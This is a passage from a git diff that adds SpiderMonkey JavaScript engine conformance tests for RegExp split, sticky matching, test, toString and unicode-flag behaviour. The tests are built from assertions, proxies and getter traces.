+delete Object.prototype.flags;
+
+Object.prototype.flags = "";
+
+a = re[Symbol.split]("1a2A3a4A5");
+assertDeepEq(a, ["1", "2A3", "4A5"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-invalid-lastIndex.js b/js/src/tests/non262/RegExp/split-invalid-lastIndex.js
new file mode 100644
index 0000000000..3def559ad0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-invalid-lastIndex.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1263851;
+var summary = "RegExp.prototype[@@split] should handle if lastIndex is out of bound.";
+
+print(BUGNUMBER + ": " + summary);
+
+var myRegExp = {
+ get constructor() {
+ return {
+ get [Symbol.species]() {
+ return function() {
+ return {
+ get lastIndex() {
+ return 9;
+ },
+ set lastIndex(v) {},
+ exec() {
+ return [];
+ }
+ };
+ };
+ }
+ };
+ }
+};
+var result = RegExp.prototype[Symbol.split].call(myRegExp, "abcde");;
+assertEq(result.length, 2);
+assertEq(result[0], "");
+assertEq(result[1], "");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-limit.js b/js/src/tests/non262/RegExp/split-limit.js
new file mode 100644
index 0000000000..5fa194b90b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-limit.js
@@ -0,0 +1,14 @@
+var BUGNUMBER = 1287525;
+var summary = "RegExp.prototype[@@split] shouldn't use optimized path if limit is not number.";
+
+print(BUGNUMBER + ": " + summary);
+
+var rx = /a/;
+var r = rx[Symbol.split]("abba", {valueOf() {
+ RegExp.prototype.exec = () => null;
+ return 100;
+}});
+assertEq(r.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-obj.js b/js/src/tests/non262/RegExp/split-obj.js
new file mode 100644
index 0000000000..75c09f38d1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-obj.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@split] should check if this value is RegExp.";
+
+print(BUGNUMBER + ": " + summary);
+
+var obj = { flags: "", toString: () => "-" };
+assertDeepEq(RegExp.prototype[Symbol.split].call(obj, "a-b-c"),
+ ["a", "b", "c"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/RegExp/split-prop-access.js b/js/src/tests/non262/RegExp/split-prop-access.js
new file mode 100644
index 0000000000..73c5bebb31
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-prop-access.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 1287525;
+var summary = 'String.prototype.split should call ToUint32(limit) before ToString(separator).';
+
+print(BUGNUMBER + ": " + summary);
+
+var accessed = false;
+
+var rx = /a/;
+Object.defineProperty(rx, Symbol.match, {
+ get() {
+ accessed = true;
+ }
+});
+rx[Symbol.split]("abba");
+
+assertEq(accessed, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-this.js b/js/src/tests/non262/RegExp/split-this.js
new file mode 100644
index 0000000000..ece29fe8a2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@split] should check this value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.split].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split-trace.js b/js/src/tests/non262/RegExp/split-trace.js
new file mode 100644
index 0000000000..fe7fe95981
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split-trace.js
@@ -0,0 +1,229 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@split] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var flags;
+var expectedFlags;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+var arraySetterObserved = false;
+function startObserve() {
+ for (var i = 0; i < 10; i++) {
+ Object.defineProperty(Array.prototype, i, {
+ set: function(v) {
+ arraySetterObserved = true;
+ },
+ configurable: true,
+ });
+ }
+}
+function stopObserve() {
+ for (var i = 0; i < 10; i++)
+ delete Array.prototype[i]
+}
+
+startObserve();
+
+function P(A) {
+ return new Proxy(A, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get constructor() {
+ log += "get:constructor,";
+ return {
+ get [Symbol.species]() {
+ log += "get:species,";
+ return function(pattern, flags) {
+ assertEq(pattern, myRegExp);
+ assertEq(flags, expectedFlags);
+ log += "call:constructor,";
+ return {
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get flags() {
+ log += "get:flags,";
+ return flags;
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+ };
+ };
+ }
+ };
+ },
+ get flags() {
+ log += "get:flags,";
+ return flags;
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcde";
+ flags = "";
+ expectedFlags = "y";
+ arraySetterObserved = false;
+}
+
+// Trace match and no match.
+reset();
+execResult = [ null, P(["b"]), null, P(["d"]), null ];
+lastIndexResult = [ , , 2, , 4, , ];
+lastIndexExpected = [ 0, 1, 2, 3, 4, ];
+var ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["a","c","e"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace non-empty flags, empty target, no match.
+reset();
+flags = "iy";
+expectedFlags = "iy";
+target = "";
+execResult = [ null ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `[""]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "get:exec,call:exec,");
+
+// Trace empty target, match.
+reset();
+target = "";
+execResult = [ P([""]) ];
+lastIndexResult = [];
+lastIndexExpected = [];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `[]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "get:exec,call:exec,");
+
+// Trace captures.
+reset();
+target = "abc";
+execResult = [ null, P(["b", "X", "YZ"]), null ];
+lastIndexResult = [ , , 2, , ];
+lastIndexExpected = [ 0, 1, 2, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["a","X","YZ","c"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1],get:result[2]," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace unicode.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+flags = "u";
+expectedFlags = "uy";
+target = "-\uD83D\uDC38\uDC38\uD83D";
+execResult = [ null, null, null, null ];
+lastIndexResult = [ , , , , , ];
+lastIndexExpected = [ 0, 1, 3, 4, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["-\uD83D\uDC38\\udc38\\ud83d"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace unicode, match, same position and different position.
+reset();
+flags = "u";
+expectedFlags = "uy";
+target = "-\uD83D\uDC38\uDC38\uD83D";
+var E = P(["", "X"]);
+execResult = [ E, E, E, E, E, E, E ];
+lastIndexResult = [ , 0, 1, 1, 3, 3, 4, 4 ];
+lastIndexExpected = [ 0, 1, 1, 3, 3, 4, 4, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["-","X","\uD83D\uDC38","X","\\udc38","X","\\ud83d"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex,");
+
+stopObserve();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split.js b/js/src/tests/non262/RegExp/split.js
new file mode 100644
index 0000000000..d7e28d7919
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@split].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.split].name, "[Symbol.split]");
+assertEq(RegExp.prototype[Symbol.split].length, 2);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.split);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /b/;
+var v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["a","cA","cABC"]`);
+
+re = /d/;
+v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["abcAbcABC"]`);
+
+re = /b/ig;
+v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["a","cA","cA","C"]`);
+
+re = /b/ig;
+v = re[Symbol.split]("abcAbcABC", 2);
+assertEq(JSON.stringify(v), `["a","cA"]`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/sticky.js b/js/src/tests/non262/RegExp/sticky.js
new file mode 100644
index 0000000000..13a6debe95
--- /dev/null
+++ b/js/src/tests/non262/RegExp/sticky.js
@@ -0,0 +1,126 @@
+var BUGNUMBER = 773687;
+var summary = 'sticky flag should not break assertion behavior.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(re, text, expectations) {
+ // Sanity check for test data itself.
+ assertEq(expectations.length, text.length + 1);
+
+ for (var i = 0; i < expectations.length; i++) {
+ var result = expectations[i];
+
+ re.lastIndex = i;
+ var match = re.exec(text);
+ if (result === null) {
+ assertEq(re.lastIndex, 0);
+ assertEq(match, null);
+ } else {
+ assertEq(re.lastIndex, result.lastIndex);
+ assertEq(match !== null, true);
+ assertEq(match.length, result.matches.length);
+ for (var j = 0; j < result.matches.length; j++)
+ assertEq(match[j], result.matches[j]);
+ assertEq(match.index, result.index);
+ }
+ }
+}
+
+// simple text
+test(/bc/y, "abcabd", [
+ null,
+ { lastIndex: 3, matches: ["bc"], index: 1 },
+ null,
+ null,
+ null,
+ null,
+ null,
+]);
+
+// complex pattern
+test(/bc|c|d/y, "abcabd", [
+ null,
+ { lastIndex: 3, matches: ["bc"], index: 1 },
+ { lastIndex: 3, matches: ["c"], index: 2 },
+ null,
+ null,
+ { lastIndex: 6, matches: ["d"], index: 5 },
+ null,
+]);
+
+test(/.*(bc|c|d)/y, "abcabd", [
+ { lastIndex: 6, matches: ["abcabd", "d"], index: 0 },
+ { lastIndex: 6, matches: ["bcabd", "d"], index: 1 },
+ { lastIndex: 6, matches: ["cabd", "d"], index: 2 },
+ { lastIndex: 6, matches: ["abd", "d"], index: 3 },
+ { lastIndex: 6, matches: ["bd", "d"], index: 4 },
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+test(/.*?(bc|c|d)/y, "abcabd", [
+ { lastIndex: 3, matches: ["abc", "bc"], index: 0 },
+ { lastIndex: 3, matches: ["bc", "bc"], index: 1 },
+ { lastIndex: 3, matches: ["c", "c"], index: 2 },
+ { lastIndex: 6, matches: ["abd", "d"], index: 3 },
+ { lastIndex: 6, matches: ["bd", "d"], index: 4 },
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+test(/(bc|.*c|d)/y, "abcabd", [
+ { lastIndex: 3, matches: ["abc", "abc"], index: 0 },
+ { lastIndex: 3, matches: ["bc", "bc"], index: 1 },
+ { lastIndex: 3, matches: ["c", "c"], index: 2 },
+ null,
+ null,
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+// ^ assertions
+test(/^/y, "abcabc", [
+ { lastIndex: 0, matches: [""], index: 0 },
+ null,
+ null,
+ null,
+ null,
+ null,
+ null,
+]);
+
+test(/^a/my, "abc\nabc", [
+ { lastIndex: 1, matches: ["a"], index: 0 },
+ null,
+ null,
+ null,
+ { lastIndex: 5, matches: ["a"], index: 4 },
+ null,
+ null,
+ null,
+]);
+
+// \b assertions
+test(/\b/y, "abc bc", [
+ { lastIndex: 0, matches: [""], index: 0 },
+ null,
+ null,
+ { lastIndex: 3, matches: [""], index: 3 },
+ { lastIndex: 4, matches: [""], index: 4 },
+ null,
+ { lastIndex: 6, matches: [""], index: 6 },
+]);
+
+// \B assertions
+test(/\B/y, "abc bc", [
+ null,
+ { lastIndex: 1, matches: [""], index: 1 },
+ { lastIndex: 2, matches: [""], index: 2 },
+ null,
+ null,
+ { lastIndex: 5, matches: [""], index: 5 },
+ null,
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/test-emptyMatch.js b/js/src/tests/non262/RegExp/test-emptyMatch.js
new file mode 100644
index 0000000000..6103c28d52
--- /dev/null
+++ b/js/src/tests/non262/RegExp/test-emptyMatch.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 1322035;
+var summary = 'RegExp.prototype.test should update lastIndex to correct position even if pattern starts with .*';
+
+print(BUGNUMBER + ": " + summary);
+
+var regExp = /.*x?/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+regExp = /.*x*/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+regExp = /.*()/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+regExp = /.*(x|)/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/test-trailing.js b/js/src/tests/non262/RegExp/test-trailing.js
new file mode 100644
index 0000000000..7cb910ee62
--- /dev/null
+++ b/js/src/tests/non262/RegExp/test-trailing.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1304737;
+var summary = "Trailing .* should not be ignored on matchOnly match.";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(r, lastIndexIsZero) {
+ r.lastIndex = 0;
+ r.test("foo");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : 3);
+
+ r.lastIndex = 0;
+ r.test("foo\nbar");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : 3);
+
+ var input = "foo" + ".bar".repeat(20000);
+ r.lastIndex = 0;
+ r.test(input);
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : input.length);
+
+ r.lastIndex = 0;
+ r.test(input + "\nbaz");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : input.length);
+}
+
+test(/f.*/, true);
+test(/f.*/g, false);
+test(/f.*/y, false);
+test(/f.*/gy, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/toString.js b/js/src/tests/non262/RegExp/toString.js
new file mode 100644
index 0000000000..5ffbeed331
--- /dev/null
+++ b/js/src/tests/non262/RegExp/toString.js
@@ -0,0 +1,42 @@
+var BUGNUMBER = 1079919;
+var summary = "Make RegExp.prototype.toString to be a generic function.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.toString(), "/(?:)/");
+assertEq(/foo/.toString(), "/foo/");
+assertEq(/foo/i.toString(), "/foo/i");
+assertEq(/foo/gimy.toString(), "/foo/gimy");
+assertEq(/foo/igym.toString(), "/foo/gimy");
+assertEq(/\n\r/.toString(), "/\\n\\r/");
+assertEq(/\u2028\u2029/.toString(), "/\\u2028\\u2029/");
+assertEq(/\//.toString(), "/\\//");
+assertEq(RegExp().toString(), "/(?:)/");
+assertEq(RegExp("", "gimy").toString(), "/(?:)/gimy");
+assertEq(RegExp("\n\r").toString(), "/\\n\\r/");
+assertEq(RegExp("\u2028\u2029").toString(), "/\\u2028\\u2029/");
+assertEq(RegExp("/").toString(), "/\\//");
+
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(), TypeError);
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(1), TypeError);
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(""), TypeError);
+assertEq(RegExp.prototype.toString.call({}), "/undefined/undefined");
+assertEq(RegExp.prototype.toString.call({ source:"foo", flags:"bar" }), "/foo/bar");
+
+var a = [];
+var p = new Proxy({}, {
+ get(that, name) {
+ a.push(name);
+ return {
+ toString() {
+ a.push(name + "-tostring");
+ return name;
+ }
+ };
+ }
+});
+assertEq(RegExp.prototype.toString.call(p), "/source/flags");
+assertEq(a.join(","), "source,source-tostring,flags,flags-tostring");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-back-reference.js b/js/src/tests/non262/RegExp/unicode-back-reference.js
new file mode 100644
index 0000000000..2a65432a1d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-back-reference.js
@@ -0,0 +1,39 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- back reference should not match lead surrogate that has corresponding trail surrogate.";
+
+print(BUGNUMBER + ": " + summary);
+
+// The last character of back reference is not a surrogate.
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA\uDC00"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA\uD834"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarAA"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA"),
+ ["fooAbarA", "A"]);
+
+// The last character of back reference is a lead surrogate.
+assertEq(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834\uDC00"), null);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834\uD834"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834A"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+
+// The last character of back reference is a trail surrogate.
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00\uDC00"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00\uD834"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00A"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+
+// Pattern should not match to surrogate pair partially.
+assertEq(/^(.+)\1$/u.exec("\uDC00foobar\uD834\uDC00foobar\uD834"), null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-braced.js b/js/src/tests/non262/RegExp/unicode-braced.js
new file mode 100644
index 0000000000..97df7acabf
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-braced.js
@@ -0,0 +1,166 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- braced pattern in RegExpUnicodeEscapeSequence.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/\u{41}/u.exec("ABC"),
+ ["A"]);
+assertEqArray(/\u{41}/.exec("ABC" + "u".repeat(41)),
+ ["u".repeat(41)]);
+
+assertEqArray(/\u{4A}/u.exec("JKL"),
+ ["J"]);
+assertEqArray(/\u{4A}/.exec("JKLu{4A}"),
+ ["u{4A}"]);
+
+assertEqArray(/\u{1F438}/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}/.exec("u{1F438}"),
+ ["u{1F438}"]);
+
+assertEqArray(/\u{0}/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/\u{10FFFF}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+assertEqArray(/\u{10ffff}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// leading 0
+assertEqArray(/\u{0000000000000000000000}/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/\u{000000000000000010FFFF}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\u{0}", "u").exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(new RegExp("\\u{41}", "u").exec("ABC"),
+ ["A"]);
+assertEqArray(new RegExp("\\u{1F438}", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\u{10FFFF}", "u").exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+assertEqArray(new RegExp("\\u{0000000000000000}", "u").exec("\u{0}"),
+ ["\u{0}"]);
+
+assertEqArray(eval(`/\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}/u`).exec("\u{1234}"),
+ ["\u{1234}"]);
+assertEqArray(new RegExp(`\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}`, "u").exec("\u{1234}"),
+ ["\u{1234}"]);
+
+// ==== ? ====
+
+assertEqArray(/\u{1F438}?/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}?/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\u{1F438}?/u.exec("\uD83D"),
+ [""]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec(""),
+ [""]);
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec("\uD83D"),
+ [""]);
+
+// ==== + ====
+
+assertEqArray(/\u{1F438}+/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}+/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEq(/\u{1F438}+/u.exec(""),
+ null);
+
+// lead-only target
+assertEq(/\u{1F438}+/u.exec("\uD83D"),
+ null);
+assertEqArray(/\u{1F438}+/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// ==== * ====
+
+assertEqArray(/\u{1F438}*/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}*/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEqArray(/\u{1F438}*/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\u{1F438}*/u.exec("\uD83D"),
+ [""]);
+assertEqArray(/\u{1F438}*/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\u{D83D}/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/\u{D83D}/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/\u{D83D}/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/\u{D83D}/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/\u{D83D}/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\u{D83D}/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\u{DC38}/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/\u{DC38}/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/\u{DC38}/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/\u{DC38}/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/\u{DC38}/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\u{DC38}/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/\\u{-1}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{0.0}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{G}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{110000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{00110000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{100000000000000000000000000000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{ FFFF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FFFF }/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FF FF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{F F F F}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{100000001}/u`), SyntaxError);
+
+// surrogate pair with braced
+assertEq(/\u{D83D}\u{DC38}+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+assertEq(/\uD83D\u{DC38}+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+assertEq(/\u{D83D}\uDC38+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-character-class-escape.js b/js/src/tests/non262/RegExp/unicode-character-class-escape.js
new file mode 100644
index 0000000000..175207d5ae
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-character-class-escape.js
@@ -0,0 +1,75 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- CharacterClassEscape.";
+
+print(BUGNUMBER + ": " + summary);
+
+// BMP
+
+assertEqArray(/\d+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["0123456789"]);
+assertEqArray(/\D+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ"]);
+
+assertEqArray(/\s+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF"]);
+assertEqArray(/\S+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+
+assertEqArray(/\w+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+assertEqArray(/\W+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF*"]);
+
+assertEqArray(/\n+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\n"]);
+
+assertEqArray(/[\d]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["0123456789"]);
+assertEqArray(/[\D]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ"]);
+
